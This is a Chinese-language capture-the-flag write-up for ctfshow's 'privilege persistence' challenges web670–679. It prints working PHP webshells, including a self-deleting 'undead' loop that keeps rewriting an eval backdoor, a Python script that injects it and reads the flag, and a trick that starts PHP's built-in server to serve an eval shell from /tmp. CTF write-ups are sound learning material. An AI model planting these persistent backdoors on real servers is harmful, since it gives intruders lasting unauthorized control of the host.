ctfshow 权限维持 web670--web679

发布于:2024-07-31 ⋅ 阅读:(149) ⋅ 点赞:(0)

web670

<?php

// 题目说明:
// 想办法维持权限,确定无误后提交check,通过check后,才会生成flag,此前flag不存在

error_reporting(0);
highlight_file(__FILE__);

$a=$_GET['action'];

switch($a){
    case 'cmd':
        eval($_POST['cmd']);
        break;
    case 'check':
        file_get_contents("http://checker/api/check");
        break;
    default:
        die('params not validate');
}

params not validate

在这里插入图片描述
check之后直接啥都没了,应该是rm rm -rf *
打入不死🐎应该可以
但是需要看看有么有权限写入
在这里插入图片描述
在这里插入图片描述
可以那么我们上马

<?php
    ignore_user_abort(true);   //忽略客户端断开
    set_time_limit(0);         //一直执行
    unlink(__FILE__);			//隐藏脚本
    $file = 'shell.php';
    $code = '<?php @eval($_POST[1]);?>';
    while (1) {
        file_put_contents($file, $code);
        usleep(5000);       //暂停5ms
    }
?>
?action=cmd

POST:
cmd=file_put_contents('a.php','<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file=\'shell.php\';$code=\'<?=@eval($_POST[1]);?>\';while(1) {file_put_contents($file,$code);usleep(5000);}?>');

这样子写入了
在这里插入图片描述
先访问一下url/a.php
让不死🐎开始运行再而看看shell.php是不是已经生成了
生成过后check,flag就被生成了即可

在这里插入图片描述

web671–web676

import requests
url="http://c2f4f600-6fe1-4b93-8481-842c6a5a0c32.challenge.ctf.show/"
data_ma={
    'cmd':"file_put_contents('a.php',\"<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);\\$file='shell.php';\\$code='<?php @eval(\\$_POST[1]);?>';while(1) {file_put_contents(\\$file,\\$code);usleep(5000);}?>\");"
}

r=requests.post(url+'?action=cmd',data=data_ma)

try:
    requests.get(url+'a.php',timeout=(1,1))      # 2s
except:
    requests.get(url+'?action=check')
    r=requests.post(url+'shell.php',data={'1':'echo `tac /f*`;'})
    print(r.text)

步骤都一样直接写个脚本打打吧
但是介于环境的特殊,只能是打一次如果失败了就得改脚本重开环境了,和污染一样的道理

web677–web678

一直看就可以了,没有写入权限

system('while true;do tac /f*;done');

刷了7 8次靶机了吧,嗯不懂whathappen就是不出flag
在这里插入图片描述
终于等了两分钟左右出flag了,因为check是直接把所有的东西都删了,如果后面再重新去的话,就无法访问了,只能等已经执行的命令出flag

web679

这道题特别像之前的一个公开赛,必须迅速的check不然就给你删了,所以
(check会关闭web服务,自己开)

php -S 0.0.0.0:80 -t /tmp/
启动内置服务器

写入默认的索引文件,并且访问的时候直接访问url就可以了

cmd=file_put_contents("/tmp/index.php","<?php eval(\$_POST[1]);?>");system("cd /tmp;sleep 10;php -S 0.0.0.0:80 -t /tmp/");
//这里要用双引号
或者
cmd=system('cd /tmp;echo "<?php eval(\$_POST[1]);?>" > index.php;sleep 10;php -S 0.0.0.0:80');

打进去之后(10s内)马上check,然后等一会如果说的server关闭那失败了,如果马来了,那就对了
在这里插入图片描述


网站公告

今日签到

点亮在社区的每一天
去签到